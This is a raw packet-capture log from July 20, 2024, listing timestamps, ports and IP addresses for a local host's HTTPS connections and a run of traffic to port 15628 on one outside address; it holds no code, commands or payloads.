Jul 20, 2024 16:14:13.578288078 CEST	49727	443	192.168.2.5	18.239.15.44
Jul 20, 2024 16:14:13.578300953 CEST	443	49727	18.239.15.44	192.168.2.5
Jul 20, 2024 16:14:13.580507040 CEST	443	49726	18.239.15.44	192.168.2.5
Jul 20, 2024 16:14:13.612514019 CEST	443	49725	18.239.15.44	192.168.2.5
Jul 20, 2024 16:14:13.632234097 CEST	49725	443	192.168.2.5	18.239.15.44
Jul 20, 2024 16:14:13.632299900 CEST	49727	443	192.168.2.5	18.239.15.44
Jul 20, 2024 16:14:13.632309914 CEST	443	49725	18.239.15.44	192.168.2.5
Jul 20, 2024 16:14:13.662790060 CEST	49726	443	192.168.2.5	18.239.15.44
Jul 20, 2024 16:14:13.662833929 CEST	443	49726	18.239.15.44	192.168.2.5
Jul 20, 2024 16:14:13.773379087 CEST	49726	443	192.168.2.5	18.239.15.44
Jul 20, 2024 16:14:13.821285963 CEST	49725	443	192.168.2.5	18.239.15.44
Jul 20, 2024 16:14:14.096782923 CEST	443	49725	18.239.15.44	192.168.2.5
Jul 20, 2024 16:14:14.097140074 CEST	443	49725	18.239.15.44	192.168.2.5
Jul 20, 2024 16:14:14.097204924 CEST	49725	443	192.168.2.5	18.239.15.44
Jul 20, 2024 16:14:14.097698927 CEST	49725	443	192.168.2.5	18.239.15.44
Jul 20, 2024 16:14:14.097727060 CEST	443	49725	18.239.15.44	192.168.2.5
Jul 20, 2024 16:14:14.097740889 CEST	49725	443	192.168.2.5	18.239.15.44
Jul 20, 2024 16:14:14.097748041 CEST	443	49725	18.239.15.44	192.168.2.5
Jul 20, 2024 16:14:14.125041962 CEST	443	49726	18.239.15.44	192.168.2.5
Jul 20, 2024 16:14:14.125436068 CEST	443	49726	18.239.15.44	192.168.2.5
Jul 20, 2024 16:14:14.125514984 CEST	49726	443	192.168.2.5	18.239.15.44
Jul 20, 2024 16:14:14.126816034 CEST	49726	443	192.168.2.5	18.239.15.44
Jul 20, 2024 16:14:14.126843929 CEST	443	49726	18.239.15.44	192.168.2.5
Jul 20, 2024 16:14:14.126858950 CEST	49726	443	192.168.2.5	18.239.15.44
Jul 20, 2024 16:14:14.126866102 CEST	443	49726	18.239.15.44	192.168.2.5
Jul 20, 2024 16:14:14.169811964 CEST	443	49727	18.239.15.44	192.168.2.5
Jul 20, 2024 16:14:14.169918060 CEST	443	49727	18.239.15.44	192.168.2.5
Jul 20, 2024 16:14:14.172511101 CEST	49727	443	192.168.2.5	18.239.15.44
Jul 20, 2024 16:14:14.172511101 CEST	49727	443	192.168.2.5	18.239.15.44
Jul 20, 2024 16:14:14.172511101 CEST	49727	443	192.168.2.5	18.239.15.44
Jul 20, 2024 16:14:14.187515974 CEST	443	49728	23.98.101.155	192.168.2.5
Jul 20, 2024 16:14:14.187587023 CEST	49728	443	192.168.2.5	23.98.101.155
Jul 20, 2024 16:14:14.189847946 CEST	49728	443	192.168.2.5	23.98.101.155
Jul 20, 2024 16:14:14.189860106 CEST	443	49728	23.98.101.155	192.168.2.5
Jul 20, 2024 16:14:14.190033913 CEST	443	49728	23.98.101.155	192.168.2.5
Jul 20, 2024 16:14:14.190152884 CEST	49728	443	192.168.2.5	23.98.101.155
Jul 20, 2024 16:14:14.190973997 CEST	49730	443	192.168.2.5	35.227.223.56
Jul 20, 2024 16:14:14.191019058 CEST	443	49730	35.227.223.56	192.168.2.5
Jul 20, 2024 16:14:14.191160917 CEST	49730	443	192.168.2.5	35.227.223.56
Jul 20, 2024 16:14:14.192528963 CEST	49730	443	192.168.2.5	35.227.223.56
Jul 20, 2024 16:14:14.192544937 CEST	443	49730	35.227.223.56	192.168.2.5
Jul 20, 2024 16:14:14.621395111 CEST	49727	443	192.168.2.5	18.239.15.44
Jul 20, 2024 16:14:14.621436119 CEST	443	49727	18.239.15.44	192.168.2.5
Jul 20, 2024 16:14:15.267977953 CEST	443	49730	35.227.223.56	192.168.2.5
Jul 20, 2024 16:14:15.268105030 CEST	49730	443	192.168.2.5	35.227.223.56
Jul 20, 2024 16:14:15.269995928 CEST	49730	443	192.168.2.5	35.227.223.56
Jul 20, 2024 16:14:15.270014048 CEST	443	49730	35.227.223.56	192.168.2.5
Jul 20, 2024 16:14:15.270236969 CEST	443	49730	35.227.223.56	192.168.2.5
Jul 20, 2024 16:14:15.270423889 CEST	49730	443	192.168.2.5	35.227.223.56
Jul 20, 2024 16:14:15.270972013 CEST	49731	443	192.168.2.5	183.60.146.66
Jul 20, 2024 16:14:15.271019936 CEST	443	49731	183.60.146.66	192.168.2.5
Jul 20, 2024 16:14:15.271116972 CEST	49731	443	192.168.2.5	183.60.146.66
Jul 20, 2024 16:14:15.271802902 CEST	49731	443	192.168.2.5	183.60.146.66
Jul 20, 2024 16:14:15.271825075 CEST	443	49731	183.60.146.66	192.168.2.5
Jul 20, 2024 16:14:16.819072962 CEST	443	49731	183.60.146.66	192.168.2.5
Jul 20, 2024 16:14:16.819175959 CEST	49731	443	192.168.2.5	183.60.146.66
Jul 20, 2024 16:14:16.821002007 CEST	49731	443	192.168.2.5	183.60.146.66
Jul 20, 2024 16:14:16.821013927 CEST	443	49731	183.60.146.66	192.168.2.5
Jul 20, 2024 16:14:16.821316957 CEST	443	49731	183.60.146.66	192.168.2.5
Jul 20, 2024 16:14:16.821661949 CEST	49731	443	192.168.2.5	183.60.146.66
Jul 20, 2024 16:14:16.822679996 CEST	49732	443	192.168.2.5	23.98.101.155
Jul 20, 2024 16:14:16.822720051 CEST	443	49732	23.98.101.155	192.168.2.5
Jul 20, 2024 16:14:16.823046923 CEST	49732	443	192.168.2.5	23.98.101.155
Jul 20, 2024 16:14:16.823949099 CEST	49732	443	192.168.2.5	23.98.101.155
Jul 20, 2024 16:14:16.823967934 CEST	443	49732	23.98.101.155	192.168.2.5
Jul 20, 2024 16:14:16.877712965 CEST	49717	80	192.168.2.5	18.139.183.38
Jul 20, 2024 16:14:16.883733034 CEST	80	49717	18.139.183.38	192.168.2.5
Jul 20, 2024 16:14:18.109328032 CEST	443	49732	23.98.101.155	192.168.2.5
Jul 20, 2024 16:14:18.109466076 CEST	49732	443	192.168.2.5	23.98.101.155
Jul 20, 2024 16:14:18.176047087 CEST	49732	443	192.168.2.5	23.98.101.155
Jul 20, 2024 16:14:18.176079988 CEST	443	49732	23.98.101.155	192.168.2.5
Jul 20, 2024 16:14:18.176742077 CEST	443	49732	23.98.101.155	192.168.2.5
Jul 20, 2024 16:14:18.176822901 CEST	49732	443	192.168.2.5	23.98.101.155
Jul 20, 2024 16:14:18.177201986 CEST	49733	443	192.168.2.5	23.98.101.155
Jul 20, 2024 16:14:18.177254915 CEST	443	49733	23.98.101.155	192.168.2.5
Jul 20, 2024 16:14:18.177324057 CEST	49733	443	192.168.2.5	23.98.101.155
Jul 20, 2024 16:14:18.182145119 CEST	49733	443	192.168.2.5	23.98.101.155
Jul 20, 2024 16:14:18.182178020 CEST	443	49733	23.98.101.155	192.168.2.5
Jul 20, 2024 16:14:19.467740059 CEST	443	49733	23.98.101.155	192.168.2.5
Jul 20, 2024 16:14:19.467823029 CEST	49733	443	192.168.2.5	23.98.101.155
Jul 20, 2024 16:14:19.469494104 CEST	49733	443	192.168.2.5	23.98.101.155
Jul 20, 2024 16:14:19.469520092 CEST	443	49733	23.98.101.155	192.168.2.5
Jul 20, 2024 16:14:19.469727993 CEST	443	49733	23.98.101.155	192.168.2.5
Jul 20, 2024 16:14:19.470022917 CEST	49733	443	192.168.2.5	23.98.101.155
Jul 20, 2024 16:14:19.470253944 CEST	49734	443	192.168.2.5	23.98.101.155
Jul 20, 2024 16:14:19.470283031 CEST	443	49734	23.98.101.155	192.168.2.5
Jul 20, 2024 16:14:19.470372915 CEST	49734	443	192.168.2.5	23.98.101.155
Jul 20, 2024 16:14:19.470947981 CEST	49734	443	192.168.2.5	23.98.101.155
Jul 20, 2024 16:14:19.470964909 CEST	443	49734	23.98.101.155	192.168.2.5
Jul 20, 2024 16:14:20.768814087 CEST	443	49734	23.98.101.155	192.168.2.5
Jul 20, 2024 16:14:20.768893003 CEST	49734	443	192.168.2.5	23.98.101.155
Jul 20, 2024 16:14:20.780808926 CEST	49734	443	192.168.2.5	23.98.101.155
Jul 20, 2024 16:14:20.780831099 CEST	443	49734	23.98.101.155	192.168.2.5
Jul 20, 2024 16:14:20.781049013 CEST	443	49734	23.98.101.155	192.168.2.5
Jul 20, 2024 16:14:20.781172991 CEST	49734	443	192.168.2.5	23.98.101.155
Jul 20, 2024 16:14:20.781637907 CEST	49735	443	192.168.2.5	23.98.101.155
Jul 20, 2024 16:14:20.781687021 CEST	443	49735	23.98.101.155	192.168.2.5
Jul 20, 2024 16:14:20.781758070 CEST	49735	443	192.168.2.5	23.98.101.155
Jul 20, 2024 16:14:20.783138037 CEST	49735	443	192.168.2.5	23.98.101.155
Jul 20, 2024 16:14:20.783152103 CEST	443	49735	23.98.101.155	192.168.2.5
Jul 20, 2024 16:14:22.116835117 CEST	443	49735	23.98.101.155	192.168.2.5
Jul 20, 2024 16:14:22.116919994 CEST	49735	443	192.168.2.5	23.98.101.155
Jul 20, 2024 16:14:22.168442965 CEST	49735	443	192.168.2.5	23.98.101.155
Jul 20, 2024 16:14:22.168462992 CEST	443	49735	23.98.101.155	192.168.2.5
Jul 20, 2024 16:14:22.168814898 CEST	443	49735	23.98.101.155	192.168.2.5
Jul 20, 2024 16:14:22.168915987 CEST	49735	443	192.168.2.5	23.98.101.155
Jul 20, 2024 16:14:22.171111107 CEST	49736	443	192.168.2.5	35.227.223.56
Jul 20, 2024 16:14:22.171154976 CEST	443	49736	35.227.223.56	192.168.2.5
Jul 20, 2024 16:14:22.171264887 CEST	49736	443	192.168.2.5	35.227.223.56
Jul 20, 2024 16:14:22.179683924 CEST	49736	443	192.168.2.5	35.227.223.56
Jul 20, 2024 16:14:22.179697990 CEST	443	49736	35.227.223.56	192.168.2.5
Jul 20, 2024 16:14:23.195756912 CEST	443	49736	35.227.223.56	192.168.2.5
Jul 20, 2024 16:14:23.196227074 CEST	49736	443	192.168.2.5	35.227.223.56
Jul 20, 2024 16:14:23.196495056 CEST	443	49736	35.227.223.56	192.168.2.5
Jul 20, 2024 16:14:23.198270082 CEST	49736	443	192.168.2.5	35.227.223.56
Jul 20, 2024 16:14:23.218612909 CEST	49736	443	192.168.2.5	35.227.223.56
Jul 20, 2024 16:14:23.218627930 CEST	443	49736	35.227.223.56	192.168.2.5
Jul 20, 2024 16:14:23.219203949 CEST	443	49736	35.227.223.56	192.168.2.5
Jul 20, 2024 16:14:23.219264984 CEST	49736	443	192.168.2.5	35.227.223.56
Jul 20, 2024 16:14:23.219386101 CEST	49738	443	192.168.2.5	35.227.223.56
Jul 20, 2024 16:14:23.219429970 CEST	443	49738	35.227.223.56	192.168.2.5
Jul 20, 2024 16:14:23.219639063 CEST	49738	443	192.168.2.5	35.227.223.56
Jul 20, 2024 16:14:23.220854998 CEST	49738	443	192.168.2.5	35.227.223.56
Jul 20, 2024 16:14:23.220875978 CEST	443	49738	35.227.223.56	192.168.2.5
Jul 20, 2024 16:14:24.477534056 CEST	443	49738	35.227.223.56	192.168.2.5
Jul 20, 2024 16:14:24.477608919 CEST	49738	443	192.168.2.5	35.227.223.56
Jul 20, 2024 16:14:24.478257895 CEST	443	49738	35.227.223.56	192.168.2.5
Jul 20, 2024 16:14:24.478303909 CEST	49738	443	192.168.2.5	35.227.223.56
Jul 20, 2024 16:14:24.479485989 CEST	49738	443	192.168.2.5	35.227.223.56
Jul 20, 2024 16:14:24.479496956 CEST	443	49738	35.227.223.56	192.168.2.5
Jul 20, 2024 16:14:24.479662895 CEST	443	49738	35.227.223.56	192.168.2.5
Jul 20, 2024 16:14:24.479702950 CEST	49738	443	192.168.2.5	35.227.223.56
Jul 20, 2024 16:14:24.480475903 CEST	49739	443	192.168.2.5	35.227.223.56
Jul 20, 2024 16:14:24.480523109 CEST	443	49739	35.227.223.56	192.168.2.5
Jul 20, 2024 16:14:24.481020927 CEST	49739	443	192.168.2.5	35.227.223.56
Jul 20, 2024 16:14:24.481731892 CEST	49739	443	192.168.2.5	35.227.223.56
Jul 20, 2024 16:14:24.481744051 CEST	443	49739	35.227.223.56	192.168.2.5
Jul 20, 2024 16:14:25.478873968 CEST	443	49739	35.227.223.56	192.168.2.5
Jul 20, 2024 16:14:25.478960991 CEST	49739	443	192.168.2.5	35.227.223.56
Jul 20, 2024 16:14:25.480861902 CEST	49739	443	192.168.2.5	35.227.223.56
Jul 20, 2024 16:14:25.480880022 CEST	443	49739	35.227.223.56	192.168.2.5
Jul 20, 2024 16:14:25.481067896 CEST	443	49739	35.227.223.56	192.168.2.5
Jul 20, 2024 16:14:25.481159925 CEST	49739	443	192.168.2.5	35.227.223.56
Jul 20, 2024 16:14:25.481724977 CEST	49740	443	192.168.2.5	35.227.223.56
Jul 20, 2024 16:14:25.481777906 CEST	443	49740	35.227.223.56	192.168.2.5
Jul 20, 2024 16:14:25.481831074 CEST	49740	443	192.168.2.5	35.227.223.56
Jul 20, 2024 16:14:25.482434034 CEST	49740	443	192.168.2.5	35.227.223.56
Jul 20, 2024 16:14:25.482444048 CEST	443	49740	35.227.223.56	192.168.2.5
Jul 20, 2024 16:14:26.474422932 CEST	443	49740	35.227.223.56	192.168.2.5
Jul 20, 2024 16:14:26.474570990 CEST	49740	443	192.168.2.5	35.227.223.56
Jul 20, 2024 16:14:26.475155115 CEST	443	49740	35.227.223.56	192.168.2.5
Jul 20, 2024 16:14:26.475204945 CEST	49740	443	192.168.2.5	35.227.223.56
Jul 20, 2024 16:14:26.645045996 CEST	49740	443	192.168.2.5	35.227.223.56
Jul 20, 2024 16:14:26.645071983 CEST	443	49740	35.227.223.56	192.168.2.5
Jul 20, 2024 16:14:26.645345926 CEST	443	49740	35.227.223.56	192.168.2.5
Jul 20, 2024 16:14:26.645401955 CEST	49740	443	192.168.2.5	35.227.223.56
Jul 20, 2024 16:14:26.647610903 CEST	49741	443	192.168.2.5	183.60.146.66
Jul 20, 2024 16:14:26.647644997 CEST	49738	443	192.168.2.5	35.227.223.56
Jul 20, 2024 16:14:26.647655010 CEST	443	49741	183.60.146.66	192.168.2.5
Jul 20, 2024 16:14:26.647665977 CEST	443	49738	35.227.223.56	192.168.2.5
Jul 20, 2024 16:14:26.647703886 CEST	49735	443	192.168.2.5	23.98.101.155
Jul 20, 2024 16:14:26.647738934 CEST	443	49735	23.98.101.155	192.168.2.5
Jul 20, 2024 16:14:26.647741079 CEST	49741	443	192.168.2.5	183.60.146.66
Jul 20, 2024 16:14:26.647792101 CEST	49734	443	192.168.2.5	23.98.101.155
Jul 20, 2024 16:14:26.647804976 CEST	49732	443	192.168.2.5	23.98.101.155
Jul 20, 2024 16:14:26.647811890 CEST	443	49732	23.98.101.155	192.168.2.5
Jul 20, 2024 16:14:26.647821903 CEST	443	49734	23.98.101.155	192.168.2.5
Jul 20, 2024 16:14:26.647845030 CEST	49728	443	192.168.2.5	23.98.101.155
Jul 20, 2024 16:14:26.647851944 CEST	443	49728	23.98.101.155	192.168.2.5
Jul 20, 2024 16:14:26.647989988 CEST	49731	443	192.168.2.5	183.60.146.66
Jul 20, 2024 16:14:26.648013115 CEST	443	49731	183.60.146.66	192.168.2.5
Jul 20, 2024 16:14:26.648618937 CEST	49741	443	192.168.2.5	183.60.146.66
Jul 20, 2024 16:14:26.648631096 CEST	443	49741	183.60.146.66	192.168.2.5
Jul 20, 2024 16:14:26.655574083 CEST	49739	443	192.168.2.5	35.227.223.56
Jul 20, 2024 16:14:26.655574083 CEST	49736	443	192.168.2.5	35.227.223.56
Jul 20, 2024 16:14:26.655591011 CEST	49733	443	192.168.2.5	23.98.101.155
Jul 20, 2024 16:14:26.655597925 CEST	443	49739	35.227.223.56	192.168.2.5
Jul 20, 2024 16:14:26.655611038 CEST	443	49736	35.227.223.56	192.168.2.5
Jul 20, 2024 16:14:26.655615091 CEST	443	49733	23.98.101.155	192.168.2.5
Jul 20, 2024 16:14:26.655632019 CEST	49730	443	192.168.2.5	35.227.223.56
Jul 20, 2024 16:14:26.655639887 CEST	443	49730	35.227.223.56	192.168.2.5
Jul 20, 2024 16:14:27.934937000 CEST	443	49741	183.60.146.66	192.168.2.5
Jul 20, 2024 16:14:27.935030937 CEST	49741	443	192.168.2.5	183.60.146.66
Jul 20, 2024 16:14:27.948311090 CEST	49741	443	192.168.2.5	183.60.146.66
Jul 20, 2024 16:14:27.948344946 CEST	443	49741	183.60.146.66	192.168.2.5
Jul 20, 2024 16:14:27.948594093 CEST	443	49741	183.60.146.66	192.168.2.5
Jul 20, 2024 16:14:27.948678970 CEST	49741	443	192.168.2.5	183.60.146.66
Jul 20, 2024 16:14:27.949510098 CEST	49743	443	192.168.2.5	183.60.146.66
Jul 20, 2024 16:14:27.949554920 CEST	443	49743	183.60.146.66	192.168.2.5
Jul 20, 2024 16:14:27.949826956 CEST	49743	443	192.168.2.5	183.60.146.66
Jul 20, 2024 16:14:27.964251995 CEST	49743	443	192.168.2.5	183.60.146.66
Jul 20, 2024 16:14:27.964306116 CEST	443	49743	183.60.146.66	192.168.2.5
Jul 20, 2024 16:14:29.524406910 CEST	443	49743	183.60.146.66	192.168.2.5
Jul 20, 2024 16:14:29.524502039 CEST	49743	443	192.168.2.5	183.60.146.66
Jul 20, 2024 16:14:29.551367044 CEST	49743	443	192.168.2.5	183.60.146.66
Jul 20, 2024 16:14:29.551398993 CEST	443	49743	183.60.146.66	192.168.2.5
Jul 20, 2024 16:14:29.551563978 CEST	443	49743	183.60.146.66	192.168.2.5
Jul 20, 2024 16:14:29.551680088 CEST	49743	443	192.168.2.5	183.60.146.66
Jul 20, 2024 16:14:29.552651882 CEST	49744	443	192.168.2.5	183.60.146.66
Jul 20, 2024 16:14:29.552679062 CEST	443	49744	183.60.146.66	192.168.2.5
Jul 20, 2024 16:14:29.552741051 CEST	49744	443	192.168.2.5	183.60.146.66
Jul 20, 2024 16:14:29.553725004 CEST	49744	443	192.168.2.5	183.60.146.66
Jul 20, 2024 16:14:29.553733110 CEST	443	49744	183.60.146.66	192.168.2.5
Jul 20, 2024 16:14:31.037411928 CEST	443	49744	183.60.146.66	192.168.2.5
Jul 20, 2024 16:14:31.037523031 CEST	49744	443	192.168.2.5	183.60.146.66
Jul 20, 2024 16:14:31.040707111 CEST	49744	443	192.168.2.5	183.60.146.66
Jul 20, 2024 16:14:31.040734053 CEST	443	49744	183.60.146.66	192.168.2.5
Jul 20, 2024 16:14:31.040970087 CEST	443	49744	183.60.146.66	192.168.2.5
Jul 20, 2024 16:14:31.041023970 CEST	49744	443	192.168.2.5	183.60.146.66
Jul 20, 2024 16:14:31.042280912 CEST	49745	443	192.168.2.5	183.60.146.66
Jul 20, 2024 16:14:31.042300940 CEST	443	49745	183.60.146.66	192.168.2.5
Jul 20, 2024 16:14:31.042543888 CEST	49745	443	192.168.2.5	183.60.146.66
Jul 20, 2024 16:14:31.043152094 CEST	49745	443	192.168.2.5	183.60.146.66
Jul 20, 2024 16:14:31.043162107 CEST	443	49745	183.60.146.66	192.168.2.5
Jul 20, 2024 16:14:32.314029932 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:32.319158077 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:32.400155067 CEST	443	49745	183.60.146.66	192.168.2.5
Jul 20, 2024 16:14:32.400290966 CEST	49745	443	192.168.2.5	183.60.146.66
Jul 20, 2024 16:14:32.403871059 CEST	49745	443	192.168.2.5	183.60.146.66
Jul 20, 2024 16:14:32.403884888 CEST	443	49745	183.60.146.66	192.168.2.5
Jul 20, 2024 16:14:32.404185057 CEST	443	49745	183.60.146.66	192.168.2.5
Jul 20, 2024 16:14:32.404263020 CEST	49745	443	192.168.2.5	183.60.146.66
Jul 20, 2024 16:14:32.422039032 CEST	49746	443	192.168.2.5	18.239.15.44
Jul 20, 2024 16:14:32.422084093 CEST	443	49746	18.239.15.44	192.168.2.5
Jul 20, 2024 16:14:32.422432899 CEST	49746	443	192.168.2.5	18.239.15.44
Jul 20, 2024 16:14:32.422962904 CEST	49746	443	192.168.2.5	18.239.15.44
Jul 20, 2024 16:14:32.422981024 CEST	443	49746	18.239.15.44	192.168.2.5
Jul 20, 2024 16:14:33.262392998 CEST	443	49746	18.239.15.44	192.168.2.5
Jul 20, 2024 16:14:33.262480974 CEST	49746	443	192.168.2.5	18.239.15.44
Jul 20, 2024 16:14:33.264924049 CEST	49746	443	192.168.2.5	18.239.15.44
Jul 20, 2024 16:14:33.264947891 CEST	443	49746	18.239.15.44	192.168.2.5
Jul 20, 2024 16:14:33.265022039 CEST	443	49746	18.239.15.44	192.168.2.5
Jul 20, 2024 16:14:33.265147924 CEST	49746	443	192.168.2.5	18.239.15.44
Jul 20, 2024 16:14:33.265161991 CEST	443	49746	18.239.15.44	192.168.2.5
Jul 20, 2024 16:14:33.410185099 CEST	49746	443	192.168.2.5	18.239.15.44
Jul 20, 2024 16:14:33.888166904 CEST	443	49746	18.239.15.44	192.168.2.5
Jul 20, 2024 16:14:33.889348984 CEST	443	49746	18.239.15.44	192.168.2.5
Jul 20, 2024 16:14:33.889560938 CEST	49746	443	192.168.2.5	18.239.15.44
Jul 20, 2024 16:14:33.918112040 CEST	49746	443	192.168.2.5	18.239.15.44
Jul 20, 2024 16:14:33.918133974 CEST	443	49746	18.239.15.44	192.168.2.5
Jul 20, 2024 16:14:33.918144941 CEST	49746	443	192.168.2.5	18.239.15.44
Jul 20, 2024 16:14:33.918150902 CEST	443	49746	18.239.15.44	192.168.2.5
Jul 20, 2024 16:14:40.034670115 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:40.039936066 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:41.651818991 CEST	49740	443	192.168.2.5	35.227.223.56
Jul 20, 2024 16:14:41.651912928 CEST	443	49740	35.227.223.56	192.168.2.5
Jul 20, 2024 16:14:42.953310966 CEST	49741	443	192.168.2.5	183.60.146.66
Jul 20, 2024 16:14:42.953346014 CEST	443	49741	183.60.146.66	192.168.2.5
Jul 20, 2024 16:14:43.048980951 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:43.054893017 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:44.506633997 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:44.511631966 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:44.553098917 CEST	49743	443	192.168.2.5	183.60.146.66
Jul 20, 2024 16:14:44.553122997 CEST	443	49743	183.60.146.66	192.168.2.5
Jul 20, 2024 16:14:45.124631882 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:45.426531076 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:45.922723055 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:45.922761917 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:45.922841072 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:45.928206921 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:46.056757927 CEST	49744	443	192.168.2.5	183.60.146.66
Jul 20, 2024 16:14:46.056844950 CEST	443	49744	183.60.146.66	192.168.2.5
Jul 20, 2024 16:14:46.105268002 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:46.110336065 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:46.599136114 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:46.607073069 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:46.607155085 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:46.612009048 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:46.612083912 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:46.616960049 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:46.617024899 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:46.621893883 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:46.621954918 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:46.626827002 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:46.626885891 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:46.631753922 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:46.631817102 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:46.636689901 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:46.659924030 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:46.664917946 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:46.664978981 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:46.669938087 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:46.669991016 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:46.674904108 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:46.674971104 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:46.679832935 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:46.696171045 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:46.701143980 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:46.701210976 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:46.706579924 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:46.706640005 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:46.711534023 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:46.711601019 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:46.716634989 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:46.716707945 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:46.722429991 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:46.722510099 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:46.727571964 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:46.727691889 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:46.732722044 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:46.732778072 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:46.737932920 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:46.738001108 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:46.743058920 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:46.743122101 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:46.749068975 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:46.749125957 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:46.754972935 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:46.755033970 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:46.760881901 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:46.760935068 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:46.765985966 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:46.766056061 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:46.771714926 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:46.771785021 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:46.776741982 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:46.776794910 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:46.783268929 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:46.783327103 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:46.788403988 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:46.788466930 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:46.793903112 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:46.793965101 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:46.798887014 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:46.798942089 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:46.808562994 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:46.808623075 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:46.815428019 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:46.815485954 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:14:46.820389986 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:14:46.842082024 CEST	49709	15628	192.168.2.5	154.204.0.5
